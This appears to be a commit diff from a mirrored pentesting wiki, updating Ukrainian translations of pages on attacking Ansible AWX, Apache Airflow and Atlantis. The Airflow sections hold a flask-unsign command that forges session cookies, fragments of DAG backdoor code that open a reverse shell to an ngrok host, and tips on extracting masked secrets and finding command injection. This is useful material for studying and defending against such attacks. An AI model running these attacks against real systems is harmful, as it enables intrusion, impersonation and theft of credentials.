mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
Translator
@@ -7,7 +7,7 @@
|
||||
> <summary>Підтримайте HackTricks</summary>
|
||||
>
|
||||
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
>
|
||||
> </details>
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ansible Tower** або його відкрита версія [**AWX**](https://github.com/ansible/awx) також відомий як **інтерфейс користувача Ansible, панель управління та REST API**. Завдяки **контролю доступу на основі ролей**, плануванню завдань та графічному управлінню інвентарем, ви можете керувати вашою інфраструктурою Ansible з сучасного інтерфейсу. REST API Tower та командний інтерфейс спрощують інтеграцію з поточними інструментами та робочими процесами.
|
||||
**Ansible Tower** або його відкрита версія [**AWX**](https://github.com/ansible/awx) також відомий як **інтерфейс користувача Ansible, панель управління та REST API**. Завдяки **контролю доступу на основі ролей**, плануванню завдань та графічному управлінню інвентарем, ви можете керувати своєю інфраструктурою Ansible з сучасного інтерфейсу. REST API Tower та командний інтерфейс спрощують інтеграцію з поточними інструментами та робочими процесами.
|
||||
|
||||
**Automation Controller є новішою** версією Ansible Tower з більшою кількістю можливостей.
|
||||
**Automation Controller є новішою** версією Ansible Tower з більшими можливостями.
|
||||
|
||||
### Differences
|
||||
|
||||
Згідно з [**цим**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), основні відмінності між Ansible Tower та AWX полягають у отриманій підтримці, а Ansible Tower має додаткові функції, такі як контроль доступу на основі ролей, підтримка користувацьких API та визначені користувачем робочі процеси.
|
||||
Згідно з [**цією**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) інформацією, основні відмінності між Ansible Tower та AWX полягають у отриманій підтримці, а Ansible Tower має додаткові функції, такі як контроль доступу на основі ролей, підтримка користувацьких API та визначені користувачем робочі процеси.
|
||||
|
||||
### Tech Stack
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
- **REST API**: Все, що ви можете зробити в веб-інтерфейсі, ви також можете зробити через REST API. Це означає, що ви можете інтегрувати AWX/Tower з іншими системами або скриптувати дії, які ви зазвичай виконуєте в інтерфейсі.
|
||||
- **Database**: AWX/Tower використовує базу даних (зазвичай PostgreSQL) для зберігання своєї конфігурації, результатів завдань та інших необхідних операційних даних.
|
||||
- **RabbitMQ**: Це система обміну повідомленнями, що використовується AWX/Tower для зв'язку між різними компонентами, особливо між веб-сервісом та виконавцями завдань.
|
||||
- **Redis**: Redis служить кешем та бекендом для черги завдань.
|
||||
- **Redis**: Redis слугує кешем та бекендом для черги завдань.
|
||||
|
||||
### Logical Components
|
||||
|
||||
@@ -29,34 +29,34 @@
|
||||
- **Task Engine**: Тут відбувається магія. Двигун завдань побудований на Ansible і відповідає за **виконання playbooks**. Завдання надсилаються до двигуна завдань, який потім виконує Ansible playbooks проти призначеного інвентарю, використовуючи вказані облікові дані.
|
||||
- **Schedulers and Callbacks**: Це розширені функції в AWX/Tower, які дозволяють **планувати виконання завдань** у певний час або за зовнішніми подіями.
|
||||
- **Notifications**: AWX/Tower може надсилати сповіщення на основі успіху або невдачі завдань. Він підтримує різні засоби сповіщень, такі як електронні листи, повідомлення Slack, вебхуки тощо.
|
||||
- **Ansible Playbooks**: Ansible playbooks є інструментами конфігурації, розгортання та оркестрації. Вони описують бажаний стан систем автоматизованим, повторюваним способом. Написані в YAML, playbooks використовують декларативну мову автоматизації Ansible для опису конфігурацій, завдань та кроків, які потрібно виконати.
|
||||
- **Ansible Playbooks**: Ansible playbooks є інструментами конфігурації, розгортання та оркестрації. Вони описують бажаний стан систем у автоматизованому, повторюваному вигляді. Написані в YAML, playbooks використовують декларативну мову автоматизації Ansible для опису конфігурацій, завдань та кроків, які потрібно виконати.
|
||||
|
||||
### Job Execution Flow
|
||||
|
||||
1. **User Interaction**: Користувач може взаємодіяти з AWX/Tower через **Web Interface** або **REST API**. Ці інтерфейси надають доступ до всіх функцій, які пропонує AWX/Tower.
|
||||
1. **User Interaction**: Користувач може взаємодіяти з AWX/Tower через **Web Interface** або **REST API**. Ці інтерфейси надають фронтальний доступ до всіх функцій, які пропонує AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- Користувач, через веб-інтерфейс або API, ініціює завдання на основі **Job Template**.
|
||||
- Шаблон завдання включає посилання на **Inventory**, **Project** (що містить playbook) та **Credentials**.
|
||||
- Після ініціації завдання запит надсилається на бекенд AWX/Tower для постановки завдання в чергу на виконання.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** обробляє обмін повідомленнями між веб-компонентом та виконавцями завдань. Як тільки завдання ініційовано, повідомлення надсилається до двигуна завдань за допомогою RabbitMQ.
|
||||
- **Redis** виступає як бекенд для черги завдань, керуючи чергами завдань, що чекають виконання.
|
||||
- **Redis** виступає бекендом для черги завдань, керуючи чергами завдань, що чекають виконання.
|
||||
4. **Job Execution**:
|
||||
- **Task Engine** підбирає завдання з черги. Він отримує необхідну інформацію з **Database** про асоційований playbook, інвентар та облікові дані.
|
||||
- **Task Engine** підбирає чергове завдання. Він отримує необхідну інформацію з **Database** про асоційований playbook, інвентар та облікові дані.
|
||||
- Використовуючи отриманий Ansible playbook з асоційованого **Project**, двигун завдань виконує playbook проти вказаних **Inventory** вузлів, використовуючи надані **Credentials**.
|
||||
- Під час виконання playbook його вихідні дані (журнали, факти тощо) захоплюються та зберігаються в **Database**.
|
||||
5. **Job Results**:
|
||||
- Як тільки playbook закінчує виконання, результати (успіх, невдача, журнали) зберігаються в **Database**.
|
||||
- Користувачі можуть переглядати результати через веб-інтерфейс або запитувати їх через REST API.
|
||||
- На основі результатів завдань, **Notifications** можуть бути надіслані, щоб повідомити користувачів або зовнішні системи про статус завдання. Сповіщення можуть бути електронними листами, повідомленнями Slack, вебхуками тощо.
|
||||
- Залежно від результатів завдань, **Notifications** можуть бути надіслані, щоб повідомити користувачів або зовнішні системи про статус завдання. Сповіщення можуть бути електронними листами, повідомленнями Slack, вебхуками тощо.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** можуть динамічно отримуватись з зовнішніх систем, що дозволяє AWX/Tower отримувати хости з джерел, таких як AWS, Azure, VMware та інші.
|
||||
- **Inventories** можуть бути динамічно отримані з зовнішніх систем, що дозволяє AWX/Tower отримувати хости з джерел, таких як AWS, Azure, VMware та інші.
|
||||
- **Projects** (playbooks) можуть бути отримані з систем контролю версій, що забезпечує використання актуальних playbooks під час виконання завдань.
|
||||
- **Schedulers and Callbacks** можуть бути використані для інтеграції з іншими системами або інструментами, що дозволяє AWX/Tower реагувати на зовнішні тригери або виконувати завдання у визначений час.
|
||||
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Слідуючи документації**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) можливо використовувати docker-compose для запуску AWX:
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) можливо використовувати docker-compose для запуску AWX:
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -86,51 +86,51 @@ docker exec tools_awx_1 awx-manage create_preload_data
|
||||
|
||||
### Підтримувані ролі
|
||||
|
||||
Найбільш привілейована роль називається **Системний адміністратор**. Будь-хто з цією роллю може **модифікувати все**.
|
||||
Найбільш привілейована роль називається **System Administrator**. Будь-хто з цією роллю може **змінювати все**.
|
||||
|
||||
З точки зору **white box security** вам потрібна роль **Системного аудитора**, яка дозволяє **переглядати всі дані системи**, але не може вносити зміни. Іншою опцією було б отримати роль **Аудитора організації**, але краще отримати іншу.
|
||||
З точки зору **white box security** огляду, вам потрібна роль **System Auditor**, яка дозволяє **переглядати всі дані системи**, але не може вносити зміни. Іншою опцією була б роль **Organization Auditor**, але краще отримати іншу.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Розгорніть це, щоб отримати детальний опис доступних ролей</summary>
|
||||
|
||||
1. **Системний адміністратор**:
|
||||
- Це роль суперкористувача з дозволами на доступ і модифікацію будь-якого ресурсу в системі.
|
||||
1. **System Administrator**:
|
||||
- Це роль суперкористувача з дозволами на доступ і зміну будь-якого ресурсу в системі.
|
||||
- Вони можуть керувати всіма організаціями, командами, проектами, інвентарями, шаблонами завдань тощо.
|
||||
2. **Системний аудитор**:
|
||||
2. **System Auditor**:
|
||||
- Користувачі з цією роллю можуть переглядати всі дані системи, але не можуть вносити зміни.
|
||||
- Ця роль призначена для дотримання норм і контролю.
|
||||
3. **Ролі організації**:
|
||||
- **Адміністратор**: Повний контроль над ресурсами організації.
|
||||
- **Аудитор**: Доступ лише для перегляду ресурсів організації.
|
||||
- **Член**: Основне членство в організації без конкретних дозволів.
|
||||
- **Виконати**: Може виконувати шаблони завдань в організації.
|
||||
- **Читати**: Може переглядати ресурси організації.
|
||||
4. **Ролі проекту**:
|
||||
- **Адміністратор**: Може керувати і модифікувати проект.
|
||||
- **Використовувати**: Може використовувати проект у шаблоні завдання.
|
||||
- **Оновити**: Може оновити проект за допомогою SCM (системи контролю версій).
|
||||
5. **Ролі інвентарю**:
|
||||
- **Адміністратор**: Може керувати і модифікувати інвентар.
|
||||
- **Ad Hoc**: Може виконувати команди ad hoc на інвентарі.
|
||||
- **Оновити**: Може оновити джерело інвентарю.
|
||||
- **Використовувати**: Може використовувати інвентар у шаблоні завдання.
|
||||
- **Читати**: Доступ лише для перегляду.
|
||||
6. **Ролі шаблона завдання**:
|
||||
- **Адміністратор**: Може керувати і модифікувати шаблон завдання.
|
||||
- **Виконати**: Може виконувати завдання.
|
||||
- **Читати**: Доступ лише для перегляду.
|
||||
7. **Ролі облікових даних**:
|
||||
- **Адміністратор**: Може керувати і модифікувати облікові дані.
|
||||
- **Використовувати**: Може використовувати облікові дані в шаблонах завдань або інших відповідних ресурсах.
|
||||
- **Читати**: Доступ лише для перегляду.
|
||||
8. **Ролі команди**:
|
||||
- **Член**: Частина команди, але без конкретних дозволів.
|
||||
- **Адміністратор**: Може керувати членами команди та пов'язаними ресурсами.
|
||||
9. **Ролі робочого процесу**:
|
||||
- **Адміністратор**: Може керувати і модифікувати робочий процес.
|
||||
- **Виконати**: Може виконувати робочий процес.
|
||||
- **Читати**: Доступ лише для перегляду.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Повний контроль над ресурсами організації.
|
||||
- **Auditor**: Доступ лише для перегляду ресурсів організації.
|
||||
- **Member**: Основне членство в організації без конкретних дозволів.
|
||||
- **Execute**: Може виконувати шаблони завдань в організації.
|
||||
- **Read**: Може переглядати ресурси організації.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Може керувати і змінювати проект.
|
||||
- **Use**: Може використовувати проект у шаблоні завдання.
|
||||
- **Update**: Може оновлювати проект за допомогою SCM (системи контролю версій).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Може керувати і змінювати інвентар.
|
||||
- **Ad Hoc**: Може виконувати ad hoc команди на інвентарі.
|
||||
- **Update**: Може оновлювати джерело інвентарю.
|
||||
- **Use**: Може використовувати інвентар у шаблоні завдання.
|
||||
- **Read**: Доступ лише для перегляду.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Може керувати і змінювати шаблон завдання.
|
||||
- **Execute**: Може виконувати завдання.
|
||||
- **Read**: Доступ лише для перегляду.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Може керувати і змінювати облікові дані.
|
||||
- **Use**: Може використовувати облікові дані в шаблонах завдань або інших відповідних ресурсах.
|
||||
- **Read**: Доступ лише для перегляду.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Частина команди, але без конкретних дозволів.
|
||||
- **Admin**: Може керувати членами команди та пов'язаними ресурсами.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Може керувати і змінювати робочий процес.
|
||||
- **Execute**: Може виконувати робочий процес.
|
||||
- **Read**: Доступ лише для перегляду.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
@@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Основна інформація
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) слугує платформою для **орchestrating and scheduling data pipelines or workflows**. Термін "orchestration" у контексті data pipelines означає процес організації, координації та управління складними data workflows, що походять з різних джерел. Основна мета цих orchestrated data pipelines полягає в наданні оброблених і споживаних data sets. Ці data sets широко використовуються безліччю додатків, включаючи, але не обмежуючись, інструментами бізнес-аналітики, моделями data science та machine learning, які є основою функціонування big data applications.
|
||||
[**Apache Airflow**](https://airflow.apache.org) слугує платформою для **орchestrating and scheduling data pipelines or workflows**. Термін "орchestrating" у контексті data pipelines означає процес організації, координації та управління складними data workflows, що походять з різних джерел. Основна мета цих оркестрованих data pipelines полягає в наданні оброблених і споживаних наборів даних. Ці набори даних широко використовуються безліччю додатків, включаючи, але не обмежуючись, інструментами бізнес-аналітики, моделями data science та machine learning, які є основою функціонування додатків великого обсягу даних.
|
||||
|
||||
В основному, Apache Airflow дозволить вам **schedule the execution of code when something** (event, cron) **happens**.
|
||||
В основному, Apache Airflow дозволить вам **планувати виконання коду, коли щось** (подія, cron) **відбувається**.
|
||||
|
||||
### Local Lab
|
||||
### Локальна лабораторія
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
Ви можете використовувати **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) для запуску повного середовища apache airflow docker. (Якщо ви на MacOS, переконайтеся, що ви виділили принаймні 6 ГБ оперативної пам'яті для docker VM).
|
||||
Ви можете використовувати **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) для запуску повного середовища apache airflow в docker. (Якщо ви на MacOS, переконайтеся, що виділили принаймні 6 ГБ оперативної пам'яті для docker VM).
|
||||
|
||||
#### Minikube
|
||||
|
||||
Один із простих способів **run apache airflo**w - це запустити його **with minikube**:
|
||||
Один із простих способів **запустити apache airflow** - це запустити його **з minikube**:
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -36,7 +36,7 @@ airflow-configuration.md
|
||||
|
||||
### RBAC Airflow
|
||||
|
||||
Перед початком атаки на Airflow ви повинні зрозуміти **як працюють дозволи**:
|
||||
Перед початком атаки на Airflow ви повинні зрозуміти, **як працюють дозволи**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
@@ -51,33 +51,33 @@ airflow-rbac.md
|
||||
- **Змінні** (Користувацька чутлива інформація може зберігатися тут)
|
||||
- **З'єднання** (Користувацька чутлива інформація може зберігатися тут)
|
||||
- Доступ до них за адресою `http://<airflow>/connection/list/`
|
||||
- [**Конфігурація**](./#airflow-configuration) (Чутлива інформація, така як **`secret_key`** та паролі можуть зберігатися тут)
|
||||
- [**Конфігурація**](./#airflow-configuration) (Чутлива інформація, така як **`secret_key`** та паролі, може зберігатися тут)
|
||||
- Список **користувачів та ролей**
|
||||
- **Код кожного DAG** (який може містити цікаву інформацію)
|
||||
|
||||
#### Отримання значень змінних
|
||||
|
||||
Змінні можуть зберігатися в Airflow, щоб **DAG** могли **отримувати** їх значення. Це схоже на секрети інших платформ. Якщо у вас є **достатні дозволи**, ви можете отримати доступ до них у GUI за адресою `http://<airflow>/variable/list/`.\
|
||||
Airflow за замовчуванням покаже значення змінної в GUI, однак, відповідно до [**цього**](https://marclamberti.com/blog/variables-with-apache-airflow/), можливо встановити **список змінних**, значення яких з'являться як **зірочки** в **GUI**.
|
||||
Airflow за замовчуванням покаже значення змінної в GUI, однак, відповідно до [**цього**](https://marclamberti.com/blog/variables-with-apache-airflow/), можливо, встановити **список змінних**, значення яких з'являться як **зірочки** в **GUI**.
|
||||
|
||||
.png>)
|
||||
|
||||
Однак ці **значення** все ще можна **отримати** через **CLI** (вам потрібно мати доступ до БД), **виконання довільного DAG**, **API** для доступу до кінцевої точки змінних (API потрібно активувати) і **навіть сам GUI!**\
|
||||
Щоб отримати ці значення з GUI, просто **виберіть змінні**, до яких ви хочете отримати доступ, і **натисніть на Дії -> Експортувати**.\
|
||||
Інший спосіб - виконати **брутфорс** до **прихованого значення**, використовуючи **фільтрацію пошуку**, поки ви його не отримаєте:
|
||||
Щоб отримати доступ до цих значень з GUI, просто **виберіть змінні**, до яких ви хочете отримати доступ, і **натисніть на Дії -> Експортувати**.\
|
||||
Інший спосіб - виконати **брутфорс** для **прихованого значення**, використовуючи **фільтрацію пошуку**, поки ви його не отримаєте:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Підвищення привілеїв
|
||||
|
||||
Якщо конфігурація **`expose_config`** встановлена на **True**, з **ролі Користувач** і **вище** можуть **читати** **конфігурацію в вебі**. У цій конфігурації з'являється **`secret_key`**, що означає, що будь-який користувач з цим дійсним ключем може **створити свій власний підписаний cookie, щоб видавати себе за будь-який інший обліковий запис користувача**.
|
||||
Якщо конфігурація **`expose_config`** встановлена на **True**, з **ролі Користувач** і **вище** можна **читати** **конфігурацію в вебі**. У цій конфігурації з'являється **`secret_key`**, що означає, що будь-який користувач з цим дійсним ключем може **створити свій власний підписаний cookie, щоб видавати себе за будь-який інший обліковий запис користувача**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
#### DAG Backdoor (RCE в Airflow worker)
|
||||
|
||||
Якщо у вас є **доступ на запис** до місця, де **зберігаються DAG**, ви можете просто **створити один**, який надішле вам **зворотний шелл.**\
|
||||
Зверніть увагу, що цей зворотний шелл буде виконуватись всередині **контейнера робітника Airflow**:
|
||||
Якщо у вас є **доступ на запис** до місця, де **зберігаються DAG**, ви можете просто **створити один**, який надішле вам **реверсну оболонку.**\
|
||||
Зверніть увагу, що ця реверсна оболонка буде виконуватися всередині **контейнера airflow worker**:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
@@ -116,7 +116,7 @@ python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
#### DAG Backdoor (RCE в Airflow scheduler)
|
||||
|
||||
Якщо ви налаштуєте щось на **виконання в корені коду**, на момент написання цього тексту, це буде **виконано планувальником** через кілька секунд після розміщення його в папці DAG.
|
||||
```python
|
||||
@@ -149,10 +149,10 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
#### Впровадження коду в DAG
|
||||
|
||||
Коли ви виконуєте DAG з GUI, ви можете **передавати аргументи** до нього.\
|
||||
Отже, якщо DAG не правильно закодований, він може бути **вразливим до впровадження команд.**\
|
||||
Отже, якщо DAG не правильно закодований, він може бути **вразливим до Command Injection.**\
|
||||
Саме це сталося в цьому CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
Все, що вам потрібно знати, щоб **почати шукати впровадження команд у DAG**, це те, що **параметри** **доступні** за допомогою коду **`dag_run.conf.get("param_name")`**.
|
||||
Все, що вам потрібно знати, щоб **почати шукати командні ін'єкції в DAG**, це те, що **параметри** **доступні** за допомогою коду **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Більше того, та ж вразливість може виникнути з **змінними** (зверніть увагу, що з достатніми привілеями ви могли б **контролювати значення змінних** в GUI). Змінні **доступні за допомогою**:
|
||||
```python
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# Airflow Configuration
|
||||
# Налаштування Airflow
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Configuration File
|
||||
## Файл конфігурації
|
||||
|
||||
**Apache Airflow** генерує **файл конфігурації** на всіх машинах airflow, який називається **`airflow.cfg`** в домашньому каталозі користувача airflow. Цей файл конфігурації містить інформацію про конфігурацію і **може містити цікаву та чутливу інформацію.**
|
||||
**Apache Airflow** генерує **файл конфігурації** на всіх машинах airflow, який називається **`airflow.cfg`** в домашньому каталозі користувача airflow. Цей файл конфігурації містить інформацію про налаштування і **може містити цікаву та чутливу інформацію.**
|
||||
|
||||
**Є два способи доступу до цього файлу: шляхом компрометації якоїсь машини airflow або доступом до веб-консолі.**
|
||||
**Існує два способи доступу до цього файлу: шляхом компрометації деякої машини airflow або доступом до веб-консолі.**
|
||||
|
||||
Зверніть увагу, що **значення всередині файлу конфігурації** **можуть не бути тими, що використовуються**, оскільки ви можете перезаписати їх, встановивши змінні середовища, такі як `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
Якщо у вас є доступ до **файлу конфігурації на веб-сервері**, ви можете перевірити **реальну запущену конфігурацію** на тій же сторінці, де відображається конфігурація.\
|
||||
Якщо у вас є доступ до **файлу конфігурації на веб-сервері**, ви можете перевірити **реальну конфігурацію, що виконується**, на тій же сторінці, де відображається конфігурація.\
|
||||
Якщо у вас є **доступ до якоїсь машини в середовищі airflow**, перевірте **середовище**.
|
||||
|
||||
Деякі цікаві значення для перевірки при читанні файлу конфігурації:
|
||||
@@ -23,10 +23,10 @@
|
||||
- **`auth_backend`**: [**Згідно з документацією**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) кілька варіантів можуть бути використані для налаштування, хто може отримати доступ до API:
|
||||
- `airflow.api.auth.backend.deny_all`: **За замовчуванням ніхто** не може отримати доступ до API
|
||||
- `airflow.api.auth.backend.default`: **Усі можуть** отримати доступ без аутентифікації
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Для налаштування **керберосної аутентифікації**
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Для налаштування **аутентифікації kerberos**
|
||||
- `airflow.api.auth.backend.basic_auth`: Для **базової аутентифікації**
|
||||
- `airflow.composer.api.backend.composer_auth`: Використовує аутентифікацію композиторів (GCP) (з [**тут**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Це вказує на **роль**, яку **користувач композиторів** отримає всередині **airflow** (**Op** за замовчуванням).
|
||||
- `composer_auth_user_registration_role`: Це вказує на **роль**, яку **користувач композиторів** отримає в **airflow** (**Op** за замовчуванням).
|
||||
- Ви також можете **створити свій власний метод аутентифікації** за допомогою python.
|
||||
- **`google_key_path`:** Шлях до **ключа облікового запису служби GCP**
|
||||
|
||||
@@ -45,7 +45,7 @@
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Увімкнено за замовчуванням. Під час виявлення DAG ігноруйте будь-які файли, які не містять рядки `DAG` та `airflow`.
|
||||
- **`dag_discovery_safe_mode`**: Увімкнено за замовчуванням. При виявленні DAG ігноруйте будь-які файли, які не містять рядків `DAG` та `airflow`.
|
||||
- **`fernet_key`**: Ключ для зберігання зашифрованих змінних (симетричний)
|
||||
- **`hide_sensitive_var_conn_fields`**: Увімкнено за замовчуванням, приховує чутливу інформацію про з'єднання.
|
||||
- **`security`**: Який модуль безпеки використовувати (наприклад, kerberos)
|
||||
@@ -78,7 +78,7 @@
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: За замовчуванням це **Lax**, тому це вже найслабше можливе значення
|
||||
- **`cookie_secure`**: Встановіть **безпечний прапор** на сесійне cookie
|
||||
- **`cookie_secure`**: Встановіть **прапор безпеки** на сесійне cookie
|
||||
- **`expose_config`**: За замовчуванням False, якщо true, **конфігурацію** можна **читати** з веб **консолі**
|
||||
- **`expose_stacktrace`**: За замовчуванням це True, це покаже **python tracebacks** (можливо, корисно для зловмисника)
|
||||
- **`secret_key`**: Це **ключ, який використовується flask для підпису cookie** (якщо у вас є це, ви можете **видавати себе за будь-якого користувача в Airflow**)
|
||||
@@ -86,7 +86,7 @@
|
||||
- **`web_server_ssl_key`**: **Шлях** до **SSL** **ключа**
|
||||
- **`x_frame_enabled`**: За замовчуванням **True**, тому за замовчуванням клікджекинг неможливий
|
||||
|
||||
### Web Authentication
|
||||
### Веб-аутентифікація
|
||||
|
||||
За замовчуванням **веб-аутентифікація** вказується у файлі **`webserver_config.py`** і налаштовується як
|
||||
```bash
|
||||
|
||||
@@ -14,9 +14,9 @@
|
||||
|
||||
Зверніть увагу, що **адміністратори** можуть **створювати більше ролей** з більш **детальними дозволами**.
|
||||
|
||||
Також зверніть увагу, що єдина роль за замовчуванням з **дозволом на перегляд користувачів і ролей - це Admin, навіть Op** не зможе цього зробити.
|
||||
Також зверніть увагу, що єдина стандартна роль з **дозволом на перегляд користувачів і ролей - це Admin, навіть Op** не зможе цього зробити.
|
||||
|
||||
### Стандартні Дозволи
|
||||
### Стандартні дозволи
|
||||
|
||||
Це стандартні дозволи для стандартних ролей:
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ Atlantis в основному допомагає вам запускати terr
|
||||
|
||||
### Local Lab
|
||||
|
||||
1. Перейдіть на **сторінку релізів atlantis** в [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) і **завантажте** той, що вам підходить.
|
||||
1. Перейдіть на **сторінку релізів atlantis** в [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) і **завантажте** ту, яка вам підходить.
|
||||
2. Створіть **персональний токен** (з доступом до репозиторіїв) вашого **github** користувача.
|
||||
3. Виконайте `./atlantis testdrive`, і він створить **демо репозиторій**, який ви можете використовувати для **взаємодії з atlantis**.
|
||||
1. Ви можете отримати доступ до веб-сторінки за адресою 127.0.0.1:4141.
|
||||
@@ -28,24 +28,24 @@ Atlantis в основному допомагає вам запускати terr
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis використовує за бажанням [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) для перевірки, що **webhooks**, які він отримує від вашого Git хоста, є **легітимними**.
|
||||
Atlantis за бажанням використовує [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) для перевірки, що **webhooks**, які він отримує від вашого Git хоста, є **легітимними**.
|
||||
|
||||
Один зі способів підтвердити це - **дозволити запити лише з IP-адрес** вашого Git хоста, але простіший спосіб - використовувати Webhook Secret.
|
||||
|
||||
Зверніть увагу, що якщо ви не використовуєте приватний сервер github або bitbucket, вам потрібно буде відкрити вебхуки для Інтернету.
|
||||
Зверніть увагу, що якщо ви не використовуєте приватний сервер github або bitbucket, вам потрібно буде відкрити веб-хуки для Інтернету.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis буде **відкривати вебхуки**, щоб git сервер міг надсилати йому інформацію. З точки зору атакуючого було б цікаво знати, **чи можете ви надсилати йому повідомлення**.
|
||||
> Atlantis буде **відкривати веб-хуки**, щоб git сервер міг надсилати йому інформацію. З точки зору атакуючого було б цікаво дізнатися, **чи можете ви надсилати йому повідомлення**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[З документації:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis запускає Terraform, просто **виконуючи команди `terraform plan` та `apply`** на сервері, **на якому розміщено Atlantis**. Так само, як і при запуску Terraform локально, Atlantis потребує облікових даних для вашого конкретного провайдера.
|
||||
Atlantis запускає Terraform, просто **виконуючи команди `terraform plan` та `apply`** на сервері, на якому **розміщено Atlantis**. Так само, як і при запуску Terraform локально, Atlantis потребує облікових даних для вашого конкретного провайдера.
|
||||
|
||||
Вам вирішувати, як ви [надаєте облікові дані](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) для вашого конкретного провайдера в Atlantis:
|
||||
|
||||
- Helm Chart для Atlantis [документація](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) та [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) мають свої механізми для облікових даних провайдера. Читайте їх документацію.
|
||||
- Helm Chart Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) та [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) мають свої механізми для облікових даних провайдера. Читайте їх документацію.
|
||||
- Якщо ви запускаєте Atlantis у хмарі, багато хмар мають способи надати доступ до API хмари для додатків, що працюють на них, наприклад:
|
||||
